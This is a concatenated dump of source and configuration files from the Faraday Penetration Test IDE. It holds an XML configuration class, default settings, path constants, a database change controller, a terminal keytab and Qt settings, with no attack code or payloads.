31 webs["http://" + host.name+":"+str(p)+"/"]=1
32
33 for n in s.getNotes():
34 if n.name =="website":
35 for wn in n.getNotes():
36 webs["http://" + wn.name+":"+str(p)+"/"]=1
37
38
39 for k,v in webs.iteritems():
40 print k
41
42
43
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 __all__ = []
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import sys, os, string, ast, json
7
8 try:
9 import xml.etree.cElementTree as ET
10 from xml.etree.cElementTree import Element, ElementTree
11 except ImportError:
12 import xml.etree.ElementTree as ET
13 from xml.etree.ElementTree import Element, ElementTree
14
15 the_config = None
16
17 CONST_API_CON_INFO = "api_con_info"
18 CONST_API_CON_INFO_HOST = "api_con_info_host"
19 CONST_API_CON_INFO_PORT = "api_con_info_port"
20 CONST_APPNAME = "appname"
21 CONST_AUTH = "auth"
22 CONST_AUTO_SHARE_WORKSPACE = "auto_share_workspace"
23 CONST_CONFIG_PATH = "config_path"
24 CONST_DATA_PATH = "data_path"
25 CONST_DEBUG_STATUS = "debug_status"
26 CONST_DEFAULT_CATEGORY = "default_category"
27 CONST_DEFAULT_TEMP_PATH = "default_temp_path"
28 CONST_FONT = "font"
29 CONST_HOME_PATH = "home_path"
30 CONST_HOST_TREE_TOGGLE = "host_tree_toggle"
31 CONST_HSTACTIONS_PATH = "hstactions_path"
32 CONST_ICONS_PATH = "icons_path"
33 CONST_IMAGE_PATH = "image_path"
34 CONST_LOG_CONSOLE_TOGGLE = "log_console_toggle"
35 CONST_NETWORK_LOCATION = "network_location"
36 CONST_PERSISTENCE_PATH = "persistence_path"
37 CONST_PERSPECTIVE_VIEW = "perspective_view"
38 CONST_REPO_PASSWORD = "repo_password"
39 CONST_COUCH_URI = "couch_uri"
40 CONST_COUCH_REPLICS = "couch_replics"
41 CONST_COUCH_ISREPLICATED = "couch_is_replicated"
42 CONST_REPO_URL = "repo_url"
43 CONST_REPO_USER = "repo_user"
44 CONST_REPORT_PATH = "report_path"
45 CONST_SHELL_MAXIMIZED = "shell_maximized"
46 CONST_VERSION = "version"
47 CONST_UPDATEURI = "updates_uri"
48 CONST_TKTURI = "tickets_uri"
49 CONST_TKTAPIPARAMS = "tickets_api"
50 CONST_TKTTEMPLATE = "tickets_template"
51
52 CONST_LAST_WORKSPACE = "last_workspace"
53 CONST_PLUGIN_SETTINGS = "plugin_settings"
54
55
56 DEFAULT_XML = os.path.dirname(__file__) + "/default.xml"
57
58
59 class Configuration:
60
61 def __init__(self, xml_file=DEFAULT_XML):
62 """ Initializer that handles a configuration automagically. """
63
64 self.filepath = xml_file
65
66 if self._isConfig(): self._getConfig()
67
68 def _isConfig(self):
69 """ Checks whether the given file exists and belongs
70 to faraday's configuration syntax"""
71
72 root = f = None
73
74 try:
75 f = open(self.filepath, 'rb')
76 try:
77 for event, elem in ET.iterparse(f, ('start', )):
78 root = elem.tag
79 break
80 except SyntaxError, err:
81 print "Not an xml file.\n %s" % (err)
82 return False
83
84 except IOError, err:
85 print "Error while opening file.\n%s. %s" % (err, self.filepath)
86 return False
87
88 finally:
89 if f: f.close()
90
91 return (root == "faraday")
92
93 def _getTree(self):
94 """ Returns an XML tree read from file. """
95
96 f = open(self.filepath)
97 try:
98 tree = ET.fromstring(f.read())
99 except SyntaxError, err:
100 print "SyntaxError: %s. %s" % (err, self.filepath)
101 return None
102 return tree
103
104 def _getValue(self, tree, var, default = None):
105 """ Returns generic value from a variable on an XML tree. """
106
107 elem = tree.findall(var)
108 if not(elem):
109 return default
110
111 return elem[0].text
112
113 def _getConfig(self):
114 """ Gathers all configuration data from self.filepath, and
115 completes private attributes with such information. """
116
117 tree = self._getTree()
118 if tree:
119 self._api_con_info_host = self._getValue(tree, CONST_API_CON_INFO_HOST)
120 self._api_con_info_port = self._getValue(tree, CONST_API_CON_INFO_PORT)
121 self._api_con_info = self._getValue(tree, CONST_API_CON_INFO)
122 self._appname = self._getValue(tree, CONST_APPNAME)
123 self._auth = self._getValue(tree, CONST_AUTH)
124 self._auto_share_workspace = self._getValue(tree, CONST_AUTO_SHARE_WORKSPACE)
125 self._config_path = self._getValue(tree, CONST_CONFIG_PATH)
126 self._data_path = self._getValue(tree, CONST_DATA_PATH)
127 self._debug_status = self._getValue(tree, CONST_DEBUG_STATUS)
128 self._default_category = self._getValue(tree, CONST_DEFAULT_CATEGORY)
129 self._default_temp_path = self._getValue(tree, CONST_DEFAULT_TEMP_PATH)
130 self._font = self._getValue(tree, CONST_FONT)
131 self._home_path = self._getValue(tree, CONST_HOME_PATH)
132 self._host_tree_toggle = self._getValue(tree, CONST_HOST_TREE_TOGGLE)
133 self._hsactions_path = self._getValue(tree, CONST_HSTACTIONS_PATH)
134 self._icons_path = self._getValue(tree, CONST_ICONS_PATH)
135 self._image_path = self._getValue(tree, CONST_IMAGE_PATH)
136 self._log_console_toggle = self._getValue(tree, CONST_LOG_CONSOLE_TOGGLE)
137 self._network_location = self._getValue(tree, CONST_NETWORK_LOCATION)
138 self._persistence_path = self._getValue(tree, CONST_PERSISTENCE_PATH)
139 self._perspective_view = self._getValue(tree, CONST_PERSISTENCE_PATH)
140 self._repo_password = self._getValue(tree, CONST_REPO_PASSWORD)
141 self._couch_uri = self._getValue(tree, CONST_COUCH_URI, default = "")
142 self._couch_replics = self._getValue(tree, CONST_COUCH_REPLICS, default = "")
143 self._couch_is_replicated = bool(self._getValue(tree, CONST_COUCH_ISREPLICATED, default = False))
144 self._repo_url = self._getValue(tree, CONST_REPO_URL)
145 self._repo_user = self._getValue(tree, CONST_REPO_USER)
146 self._report_path = self._getValue(tree, CONST_REPORT_PATH)
147 self._shell_maximized = self._getValue(tree, CONST_SHELL_MAXIMIZED)
148 self._version = self._getValue(tree, CONST_VERSION)
149 self._last_workspace = self._getValue(tree, CONST_LAST_WORKSPACE, default = "untitled")
150 self._plugin_settings = json.loads(self._getValue(tree, CONST_PLUGIN_SETTINGS, default = "{}"))
151
152 self._updates_uri = self._getValue(tree, CONST_UPDATEURI, default = "https://www.faradaysec.com/scripts/updates.php")
153 self._tkts_uri = self._getValue(tree, CONST_TKTURI,default = "https://www.faradaysec.com/scripts/listener.php")
154 self._tkt_api_params = self._getValue(tree, CONST_TKTAPIPARAMS,default ="{}")
155 self._tkt_template = self._getValue(tree, CONST_TKTTEMPLATE,default ="{}")
156
157
158
159 def getApiConInfo(self):
160 if str(self._api_con_info_host) == "None" or str(self._api_con_info_port) == "None":
161 return None
162 return self._api_con_info_host, int(self._api_con_info_port)
163
164
165 def getApiConInfoHost(self):
166 return self._api_con_info_host
167
168 def getApiConInfoPort(self):
169 return self._api_con_info_port
170
171 def getAppname(self):
172 return self._appname
173
174 def getAuth(self):
175 return self._auth
176
177 def getAutoShareWorkspace(self):
178 return self._auto_share_workspace
179
180 def getConfigPath(self):
181 return os.path.expanduser(self._config_path)
182
183 def getDataPath(self):
184 return os.path.expanduser(self._data_path)
185
186 def getDebugStatus(self):
187 return int(self._debug_status)
188
189 def getDefaultCategory(self):
190 return self._default_category
191
192 def getDefaultTempPath(self):
193 return os.path.expanduser(self._default_temp_path)
194
195 def getFont(self):
196 return self._font
197
198 def getHomePath(self):
199 return os.path.expanduser(self._home_path)
200
201 def getHostTreeToggle(self):
202 return self._host_tree_toggle
203
204 def getHsactionsPath(self):
205 return os.path.expanduser(self._hsactions_path)
206
207 def getIconsPath(self):
208 return os.path.expanduser(self._icons_path)
209
210 def getImagePath(self):
211 return os.path.expanduser(self._image_path)
212
213 def getLogConsoleToggle(self):
214 return self._log_console_toggle
215
216 def getNetworkLocation(self):
217 return self._network_location
218
219 def getPersistencePath(self):
220 return os.path.expanduser(self._persistence_path)
221
222 def getPerspectiveView(self):
223 return self._perspective_view
224
225 def getCouchURI(self):
226 return self._couch_uri
227
228 def getCouchReplics(self):
229 return self._couch_replics
230
231 def getCouchIsReplicated(self):
232 return self._couch_is_replicated
233
234 def getRepoPassword(self):
235 return self._repo_password
236
237 def getRepoUrl(self):
238 return self._repo_url
239
240 def getRepoUser(self):
241 return self._repo_user
242
243 def getReportPath(self):
244 return os.path.expanduser(self._report_path)
245
246 def getShellMaximized(self):
247 return self._shell_maximized
248
249 def getVersion(self):
250 return self._version
251
252 def getLastWorkspace(self):
253 return self._last_workspace
254
255 def getPluginSettings(self):
256 return self._plugin_settings
257
258 def getUpdatesUri(self):
259 return self._updates_uri
260
261 def getTktPostUri(self):
262 return self._tkts_uri
263
264 def getApiParams(self):
265 return self._tkt_api_params
266
267 def getTktTemplate(self):
268 return self._tkt_template
269
270
271
272 def setLastWorkspace(self, workspaceName):
273 self._last_workspace = workspaceName
274
275 def setApiConInfo(self, val1, val2):
276 self._api_con_info = val1, val2
277 self.setApiConInfoHost(val1)
278 self.setApiConInfoPort(val2)
279
280 def setApiConInfoHost(self, val):
281 self._api_con_info_host = val
282
283 def setApiConInfoPort(self, val):
284 self._api_con_info_port = str(val)
285
286 def setAppname(self, val):
287 self._appname = val
288
289 def setAuth(self, val):
290 self._auth = val
291
292 def setAutoShareWorkspace(self, val):
293 self._auto_share_workspace = val
294
295 def setConfigPath(self, val):
296 self._config_path = val
297
298 def setDataPath(self, val):
299 self._data_path = val
300
301 def setDebugStatus(self, val):
302 self._debug_status = int(val)
303
304 def setDefaultCategory(self, val):
305 self._default_category = val
306
307 def setDefaultTempPath(self, val):
308 self._default_temp_path = val
309
310 def setFont(self, val):
311 self._font = val
312
313 def setHomePath(self, val):
314 self._home_path = val
315
316 def setHostTreeToggle(self, val):
317 self._host_tree_toggle = val
318
319 def setHsactionsPath(self, val):
320 self._hsactions_path = val
321
322 def setIconsPath(self, val):
323 self._icons_path = val
324
325 def setImagePath(self, val):
326 self._image_path = val
327
328 def setLogConsoleToggle(self, val):
329 self._log_console_toggle = val
330
331 def setNetworkLocation(self, val):
332 self._network_location = val
333
334 def setPersistencePath(self, val):
335 self._persistence_path = val
336
337 def setPerspectiveView(self, val):
338 self._perspective_view = val
339
340 def setRepoPassword(self, val):
341 self._repo_password = val
342
343 def setRepoUrl(self, val):
344 self._repo_url = val
345
346 def setRepoUser(self, val):
347 self._repo_user = val
348
349 def setReportPath(self, val):
350 self._report_path = val
351
352 def setShellMaximized(self, val):
353 self._shell_maximized = val
354
355 def setVersion(self, val):
356 self._version = val
357
358 def setCouchUri(self, uri):
359 self._couch_uri = uri
360
361 def setCouchIsReplicated(self, is_it):
362 self._couch_is_replicated = is_it
363
364 def setCouchReplics(self, urls):
365 self._couch_replics = urls
366
367 def setPluginSettings(self, settings):
368 self._plugin_settings = settings
369
370 def indent(self, elem, level=0):
371 """ Indents the tree to make a pretty view of it. """
372
373 i = "\n" + level*" "
374 if len(elem):
375 if not elem.text or not elem.text.strip():
376 elem.text = i + " "
377 if not elem.tail or not elem.tail.strip():
378 elem.tail = i
379 for elem in elem:
380 self.indent(elem, level+1)
381 if not elem.tail or not elem.tail.strip():
382 elem.tail = i
383 else:
384 if level and (not elem.tail or not elem.tail.strip()):
385 elem.tail = i
386
387
388 def saveConfig(self, xml_file="~/.faraday/config/user.xml"):
389 """ Saves XML config on new file. """
390
391 ROOT = Element("faraday")
392
393 API_CON_INFO_HOST = Element(CONST_API_CON_INFO_HOST)
394 API_CON_INFO_HOST.text = self.getApiConInfoHost()
395 ROOT.append(API_CON_INFO_HOST)
396
397 API_CON_INFO_PORT = Element(CONST_API_CON_INFO_PORT)
398 API_CON_INFO_PORT.text = str(self.getApiConInfoPort())
399 ROOT.append(API_CON_INFO_PORT)
400
401 APPNAME = Element(CONST_APPNAME)
402 APPNAME.text = self.getAppname()
403 ROOT.append(APPNAME)
404
405 AUTH = Element(CONST_AUTH, encrypted="no", algorithm="OTR")
406 AUTH.text = self.getAuth()
407 ROOT.append(AUTH)
408
409 AUTO_SHARE_WORKSPACE = Element(CONST_AUTO_SHARE_WORKSPACE)
410 AUTO_SHARE_WORKSPACE.text = self.getAutoShareWorkspace()
411 ROOT.append(AUTO_SHARE_WORKSPACE)
412
413 CONFIG_PATH = Element(CONST_CONFIG_PATH)
414 CONFIG_PATH.text = self.getConfigPath()
415 ROOT.append(CONFIG_PATH)
416
417 DATA_PATH = Element(CONST_DATA_PATH)
418 DATA_PATH.text = self.getDataPath()
419 ROOT.append(DATA_PATH)
420
421 DEBUG_STATUS = Element(CONST_DEBUG_STATUS)
422 DEBUG_STATUS.text = str(self.getDebugStatus())
423 ROOT.append(DEBUG_STATUS)
424
425 DEFAULT_CATEGORY = Element(CONST_DEFAULT_CATEGORY)
426 DEFAULT_CATEGORY.text = self.getDefaultCategory()
427 ROOT.append(DEFAULT_CATEGORY)
428
429 DEFAULT_TEMP_PATH = Element(CONST_DEFAULT_TEMP_PATH)
430 DEFAULT_TEMP_PATH.text = self.getDefaultTempPath()
431 ROOT.append(DEFAULT_TEMP_PATH)
432
433 FONT = Element(CONST_FONT)
434 FONT.text = self.getFont()
435 ROOT.append(FONT)
436
437 HOME_PATH = Element(CONST_HOME_PATH)
438 HOME_PATH.text = self.getHomePath()
439 ROOT.append(HOME_PATH)
440
441
442 HOST_TREE_TOGGLE = Element(CONST_HOST_TREE_TOGGLE)
443 HOST_TREE_TOGGLE.text = self.getHostTreeToggle()
444 ROOT.append(HOST_TREE_TOGGLE)
445
446 HSTACTIONS_PATH = Element(CONST_HSTACTIONS_PATH)
447 HSTACTIONS_PATH.text = self.getHsactionsPath()
448 ROOT.append(HSTACTIONS_PATH)
449
450 ICONS_PATH = Element(CONST_ICONS_PATH)
451 ICONS_PATH.text = self.getIconsPath()
452 ROOT.append(ICONS_PATH)
453
454 IMAGE_PATH = Element(CONST_IMAGE_PATH)
455 IMAGE_PATH.text = self.getImagePath()
456 ROOT.append(IMAGE_PATH)
457
458 LOG_CONSOLE_TOGGLE = Element(CONST_LOG_CONSOLE_TOGGLE)
459 LOG_CONSOLE_TOGGLE.text = self.getLogConsoleToggle()
460 ROOT.append(LOG_CONSOLE_TOGGLE)
461
462 NETWORK_LOCATION = Element(CONST_NETWORK_LOCATION)
463 NETWORK_LOCATION.text = self.getNetworkLocation()
464 ROOT.append(NETWORK_LOCATION)
465
466 PERSISTENCE_PATH = Element(CONST_PERSISTENCE_PATH)
467 PERSISTENCE_PATH.text = self.getPersistencePath()
468 ROOT.append(PERSISTENCE_PATH)
469
470 PERSPECTIVE_VIEW = Element(CONST_PERSPECTIVE_VIEW)
471 PERSPECTIVE_VIEW.text = self.getPerspectiveView()
472 ROOT.append(PERSPECTIVE_VIEW)
473
474 REPO_PASSWORD = Element(CONST_REPO_PASSWORD)
475 REPO_PASSWORD.text = self.getRepoPassword()
476 ROOT.append(REPO_PASSWORD)
477
478 REPO_URL = Element(CONST_REPO_URL, type="SVN")
479 REPO_URL.text = self.getRepoUrl()
480 ROOT.append(REPO_URL)
481
482 REPO_USER = Element(CONST_REPO_USER)
483 REPO_USER.text = self.getRepoUser()
484 ROOT.append(REPO_USER)
485
486 REPORT_PATH = Element(CONST_REPORT_PATH)
487 REPORT_PATH.text = self.getReportPath()
488 ROOT.append(REPORT_PATH)
489
490 SHELL_MAXIMIZED = Element(CONST_SHELL_MAXIMIZED)
491 SHELL_MAXIMIZED.text = self.getShellMaximized()
492 ROOT.append(SHELL_MAXIMIZED)
493
494 LAST_WORKSPACE = Element(CONST_LAST_WORKSPACE)
495 LAST_WORKSPACE.text = self.getLastWorkspace()
496 ROOT.append(LAST_WORKSPACE)
497
498 COUCH_URI = Element(CONST_COUCH_URI)
499 COUCH_URI.text = self.getCouchURI()
500 ROOT.append(COUCH_URI)
501
502 COUCH_IS_REPLICATED = Element(CONST_COUCH_ISREPLICATED)
503 COUCH_IS_REPLICATED.text = str(self.getCouchIsReplicated())
504 ROOT.append(COUCH_IS_REPLICATED)
505
506 COUCH_REPLICS = Element(CONST_COUCH_REPLICS)
507 COUCH_REPLICS.text = self.getCouchReplics()
508 ROOT.append(COUCH_REPLICS)
509
510 VERSION = Element(CONST_VERSION)
511 VERSION.text = self.getVersion()
512 ROOT.append(VERSION)
513
514 PLUGIN_SETTINGS = Element(CONST_PLUGIN_SETTINGS)
515 PLUGIN_SETTINGS.text = json.dumps(self.getPluginSettings())
516 ROOT.append(PLUGIN_SETTINGS)
517
518 UPDATE_URI = Element(CONST_UPDATEURI)
519 UPDATE_URI.text = self.getUpdatesUri()
520 ROOT.append(UPDATE_URI)
521
522 TKT_URI = Element(CONST_TKTURI)
523 TKT_URI.text = self.getTktPostUri()
524 ROOT.append(TKT_URI)
525
526 TKT_APIPARAMS = Element(CONST_TKTAPIPARAMS)
527 TKT_APIPARAMS.text = self.getApiParams()
528 ROOT.append(TKT_APIPARAMS)
529
530 TKT_TEMPLATE = Element(CONST_TKTTEMPLATE)
531 TKT_TEMPLATE.text = self.getTktTemplate()
532 ROOT.append(TKT_TEMPLATE)
533
534 self.indent(ROOT, 0)
535 xml_file = os.path.expanduser(xml_file)
536 ElementTree(ROOT).write(xml_file)
537
538 def getInstanceConfiguration():
539 global the_config
540 if the_config is None:
541 if os.path.exists(os.path.expanduser("~/.faraday/config/user.xml")):
542 the_config = Configuration(os.path.expanduser("~/.faraday/config/user.xml"))
543 else:
544 the_config = Configuration(os.path.expanduser("~/.faraday/config/config.xml"))
545 return the_config
546
547
548
549
550
551
552
553
554
555
556
557
558
0 <?xml version="1.0"?>
1 <faraday>
2
3 <appname>Faraday - Penetration Test IDE</appname>
4 <version>1.0</version>
5 <debug_status>0</debug_status>
6 <font>-Misc-Fixed-medium-r-normal-*-12-100-100-100-c-70-iso8859-1</font>
7 <home_path>~/</home_path>
8 <image_path>~/.faraday/images/</image_path>>
9 <icons_path>~/.faraday/images/icons/</icons_path>
10 <data_path>~/.faraday/data</data_path>
11 <config_path>~/.faraday/</config_path>
12 <default_temp_path>~/.faraday/temp/</default_temp_path>
13 <persistence_path>~/.faraday/persistence/</persistence_path>
14 <report_path>~/.faraday/report/</report_path>
15 <hstactions_path>~/.faraday/hstactions.dat</hstactions_path>
16
17 <default_category>General</default_category>
18 <auto_share_workspace>1</auto_share_workspace>
19 <network_location>LAN</network_location>
20 <perspective_view>Hosts</perspective_view>
21 <log_console_toggle></log_console_toggle>
22 <shell_maximized>0</shell_maximized>
23 <host_tree_toggle></host_tree_toggle>
24
25 <api_con_info>None</api_con_info>
26 <api_con_info_host>None</api_con_info_host>
27 <api_con_info_port>None</api_con_info_port>
28 <auth encrypted="no" algorithm="OTR">0</auth>
29 <repo_url type="svn"></repo_url>
30 <repo_user>u</repo_user>
31 <repo_password></repo_password>
32 <couch_uri/>
33 <couch_is_replicated/>
34 <couch_replics/>
35
36 <updates_uri>https://www.faradaysec.com/scripts/updates.php</updates_uri>
37 <tickets_uri>https://www.faradaysec.com/scripts/listener.php</tickets_uri>
38 <tickets_template>{}</tickets_template>
39 <tickets_api>{}</tickets_api>
40
41
42 </faraday>
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2014 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 CONST_REQUIREMENTS_FILE = 'requirements.txt'
8 CONST_FARADAY_HOME_PATH = '~/.faraday'
9 CONST_FARADAY_PLUGINS_PATH = 'plugins'
10 CONST_FARADAY_PLUGINS_REPO_PATH = 'plugins/repo'
11 CONST_FARADAY_QTRC_PATH = 'deps/qtrc'
12 CONST_FARADAY_IMAGES = 'images/'
13 CONST_FARADAY_FOLDER_LIST = [ "config", "data", "images",
14 "persistence", "plugins",
15 "report", "temp", "zsh" ]
16
17
18 CONST_USER_QT_PATH = '~/.qt/'
19 CONST_USER_QTRC_PATH = '~/.qt/qtrc'
20 CONST_USER_QTRC_BACKUP = '~/.qt/.qtrc_original.bak'
21 CONST_FARADAY_QTRC_BACKUP = '~/.qt/.qtrc_faraday.bak'
22 CONST_FARADAY_ZSHRC = "zsh/.zshrc"
23 CONST_FARADAY_ZSH_FARADAY = "zsh/faraday.zsh"
24 CONST_FARADAY_ZSH_PLUGIN = "zsh/plugin_controller_client.py"
25 CONST_FARADAY_BASE_CFG = "config/default.xml"
26 CONST_FARADAY_USER_CFG = "config/config.xml"
27 CONST_FARADAY_LIB_HELPERS = "shell/core/_helpers.so"
28
29 CONST_USER_HOME = "~"
30 CONST_USER_ZSHRC = "~/.zshrc"
31 CONST_ZSH_PATH = "zsh"
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 from persistence.change import change_factory, CHANGETYPE, ChangeModelObject
7 import model
8 import model.guiapi
9 import threading
10 from utils.logs import getLogger
11
12
13 class ChangeController(object):
14 def __init__(self):
15 self.mapper_manager = None
16 self.changesWatcher = None
17
18 def notify(self, changes):
19 for change in changes:
20 model.guiapi.notification_center.changeFromInstance(change)
21
22 def loadChange(self, objid, revision, deleted):
23 try:
24 obj = self.mapper_manager.find(objid)
25 change = change_factory.create(obj, revision, deleted)
26
27 if change.getChangeType() == CHANGETYPE.DELETE:
28 # object deleted
29 if isinstance(change, ChangeModelObject):
30 obj_parent = obj.getParent()
31 if obj_parent:
32 obj_parent.deleteChild(obj.getID())
33 self.mapper_manager.remove(objid)
34 elif change.getChangeType() == CHANGETYPE.UPDATE:
35 # object edited
36 self.mapper_manager.reload(objid)
37 elif change.getChangeType() == CHANGETYPE.ADD:
38 if isinstance(change, ChangeModelObject):
39 # The child has a parent, but the parent doesn't
40 # have the child yet...
41 if obj.getParent():
42 obj.getParent().addChild(obj)
43
44 if isinstance(change, ChangeModelObject):
45 self._notify_model_object_change(change, obj)
46 model.guiapi.notification_center.changeFromInstance(change)
47 except:
48 getLogger(self).debug(
49 "Change couldn't be processed")
50
51 def _notify_model_object_change(self, change, obj):
52 host = obj.getHost()
53 if (change.getChangeType() == CHANGETYPE.ADD and
54 obj.class_signature == model.hosts.Host.class_signature):
55 model.guiapi.notification_center.addHost(host)
56 elif (change.getChangeType() == CHANGETYPE.DELETE and
57 obj.class_signature == model.hosts.Host.class_signature):
58 model.guiapi.notification_center.delHost(host.getID())
59 elif (change.getChangeType() != CHANGETYPE.UNKNOWN):
60 model.guiapi.notification_center.editHost(host)
61
62 def watch(self, mapper, dbConnector):
63 self.mapper_manager = mapper
64 self.dbConnector = dbConnector
65 self.changesWatcher = ChangeWatcher(dbConnector.waitForDBChange)
66 dbConnector.setChangesCallback(self.loadChange)
67 self.changesWatcher.start()
68
69 def unwatch(self):
70 if self.changesWatcher:
71 self.dbConnector.setChangesCallback(None)
72 self.dbConnector.forceUpdate()
73 self.changesWatcher.join()
74
75 def stop(self):
76 self.unwatch()
77
78 def isAlive(self):
79 return self.changesWatcher.isAlive()
80
81 class ChangeWatcher(threading.Thread):
82 def __init__(self, watch_function):
83 threading.Thread.__init__(self)
84
85 self._function = watch_function
86 self._watcher = threading.Thread(target=self._function)
87 self._watcher.setDaemon(True)
88
89 def run(self):
90 self._watcher.start()
91
92 def stop(self):
93 self._stop_event.set()
94
Binary diff not shown
Binary diff not shown
Binary diff not shown
Binary diff not shown
Binary diff not shown
Binary diff not shown
Binary diff not shown
Binary diff not shown
Binary diff not shown
Binary diff not shown
0 # [default.Keytab] Buildin Keyboard Table
1
2 # --------------------------------------------------------------
3 #
4 # This file is used to create the buildin keyboard table.
5 # It is included for reference purpose with the *.keytab
6 # files that are loaded dynamically.
7 #
8 # Modifying it does not have any effect (unless you
9 # derive the default.keytab.h and recompile konsole).
10 #
11 # To customize your keyboard, copy this file to something
12 # ending with .keytab and change it to meet you needs.
13 # Please read the README.KeyTab and the README.keyboard
14 # in this case.
15 #
16 # --------------------------------------------------------------
17
18 keyboard "XTerm (XFree 4.x.x)"
19
20 # --------------------------------------------------------------
21 #
22 # Note that this particular table is a "risc" version made to
23 # ease customization without bothering with obsolete details.
24 # See VT100.keytab for the more hairy stuff.
25 #
26 # --------------------------------------------------------------
27
28 # common keys
29
30 key Escape : "\E"
31
32 key Tab -Shift : "\t"
33 key Tab +Shift+Ansi : "\E[Z"
34 key Tab +Shift-Ansi : "\t"
35
36 key Return-Shift-NewLine : "\r"
37 key Return-Shift+NewLine : "\r\n"
38
39 key Return+Shift : "\EOM"
40
41 # Backspace and Delete codes are preserving CTRL-H.
42
43 key Backspace : "\x7f"
44
45 # Arrow keys in VT52 mode
46
47 key Up -Shift-Ansi : "\EA"
48 key Down -Shift-Ansi : "\EB"
49 key Right-Shift-Ansi : "\EC"
50 key Left -Shift-Ansi : "\ED"
51
52 # Arrow keys in ANSI mode with Application - and Normal Cursor Mode)
53
54 key Up -Shift+Ansi+AppCuKeys : "\EOA"
55 key Down -Shift+Ansi+AppCuKeys : "\EOB"
56 key Right-Shift+Ansi+AppCuKeys : "\EOC"
57 key Left -Shift+Ansi+AppCuKeys : "\EOD"
58
59 key Up -Shift+Ansi-AppCuKeys : "\E[A"
60 key Down -Shift+Ansi-AppCuKeys : "\E[B"
61 key Right-Shift+Ansi-AppCuKeys : "\E[C"
62 key Left -Shift+Ansi-AppCuKeys : "\E[D"
63
64 # other grey PC keys
65
66 key Enter+NewLine : "\r\n"
67 key Enter-NewLine : "\r"
68
69 key Home -Shift-AppCuKeys : "\E[H"
70 key End -Shift-AppCuKeys : "\E[F"
71 key Home +Shift-AppCuKeys : "\E[2H"
72 key End +Shift-AppCuKeys : "\E[2F"
73
74 key Home -Shift+AppCuKeys : "\EOH"
75 key End -Shift+AppCuKeys : "\EOF"
76 key Home +Shift+AppCuKeys : "\EO2H"
77 key End +Shift+AppCuKeys : "\EO2F"
78
79 key Insert-Shift : "\E[2~"
80 key Delete-Shift : "\E[3~"
81 key Prior -Shift : "\E[5~"
82 key Next -Shift : "\E[6~"
83
84 key Delete+Shift : "\E[3;2~"
85
86 # Function keys w/o Shift modifier
87
88 key F1 -Shift : "\EOP"
89 key F2 -Shift : "\EOQ"
90 key F3 -Shift : "\EOR"
91 key F4 -Shift : "\EOS"
92 key F5 -Shift : "\E[15~"
93 key F6 -Shift : "\E[17~"
94 key F7 -Shift : "\E[18~"
95 key F8 -Shift : "\E[19~"
96 key F9 -Shift : "\E[20~"
97 key F10 -Shift : "\E[21~"
98 key F11 -Shift : "\E[23~"
99 key F12 -Shift : "\E[24~"
100
101 key F1 +Shift : "\EO2P"
102 key F2 +Shift : "\EO2Q"
103 key F3 +Shift : "\EO2R"
104 key F4 +Shift : "\EO2S"
105 key F5 +Shift : "\E[15;2~"
106 key F6 +Shift : "\E[17;2~"
107 key F7 +Shift : "\E[18;2~"
108 key F8 +Shift : "\E[19;2~"
109 key F9 +Shift : "\E[20;2~"
110 key F10+Shift : "\E[21;2~"
111 key F11+Shift : "\E[23;2~"
112 key F12+Shift : "\E[24;2~"
113
114 # Work around dead keys
115
116 key Space +Control : "\x00"
117
118 # Some keys are used by konsole to cause operations.
119 # The scroll* operations refer to the history buffer.
120
121 key Left +Shift -Control : prevSession
122 key Right +Shift -Control : nextSession
123 key Left +Shift +Control : moveSessionLeft
124 key Right +Shift +Control : moveSessionRight
125 key N +Control +Alt: newSession
126 key M +Control +Alt: activateMenu
127 key S +Control +Alt: renameSession
128 key Up +Shift : scrollLineUp
129 key Prior +Shift : scrollPageUp
130 key Down +Shift : scrollLineDown
131 key Next +Shift : scrollPageDown
132 key Insert+Shift -Control : emitClipboard
133 key Insert+Shift +Control : emitSelection
134
135 key ScrollLock : scrollLock
136
137 # keypad characters are not offered differently by Qt.
0 [3.3]
1 libraryPath=/usr/lib/kde3/plugins/:/usr/lib/qt3/plugins:/usr/bin
2
3 [Font Substitutions]
4 arial=helvetica^e
5 helv=helvetica^e
6 tms rmn=times^e
7
8 [General]
9 GUIEffects=general^eanimatecombo^e
10 XIMInputStyle=On The Spot
11 cursorFlashTime=1000
12 doubleClickInterval=400
13 embedFonts=true
14 enableXft=true
15 font=Sans Serif,9,-1,5,50,0,0,0,0,0
16 fontPath=\0
17 globalStrut=0^e0^e
18 resolveSymlinks=true
19 style=Windows
20 useRtlExtensions=false
21 useXft=true
22 wheelScrollLines=3
23
24 [KDE]
25 contrast=7
26 kdeAddedLibraryPaths=/usr/lib/kde3/plugins/^e
27
28 [KWinPalette]
29 activeBackground=#1f26ad
30 activeBlend=#259bb8
31 activeForeground=#ffffff
32 activeTitleBtnBg=#e6e6e6
33 frame=#efefef
34 inactiveBackground=#cdcdcd
35 inactiveBlend=#ababab
36 inactiveForeground=#dddddd
37 inactiveFrame=#efefef
38 inactiveTitleBtnBg=#ebebeb
39
40 [Palette]
41 active=#000000^e#dddfe4^e#ffffff^e#eeeff1^e#6e6f72^e#939598^e#000000^e#ffffff^e#000000^e#ffffff^e#dedede^e#000000^e#000000^e#ffffff^e#0000ee^e#52188b^e
42 disabled=#808080^e#dddfe4^e#ffffff^e#fefeff^e#6e6f72^e#939598^e#808080^e#ffffff^e#808080^e#ffffff^e#dedede^e#000000^e#000000^e#808080^e#0000ee^e#52188b^e
43 inactive=#000000^e#dddfe4^e#ffffff^e#fefeff^e#6e6f72^e#939598^e#000000^e#ffffff^e#000000^e#ffffff^e#dedede^e#000000^e#000000^e#ffffff^e#0000ee^e#52188b^e
44
45 [customColors]
46 0=-1
47 1=-1
48 10=-1
49 11=-1
50 12=-1
51 13=-1
52 14=-1
53 15=-1
54 2=-1
55 3=-1
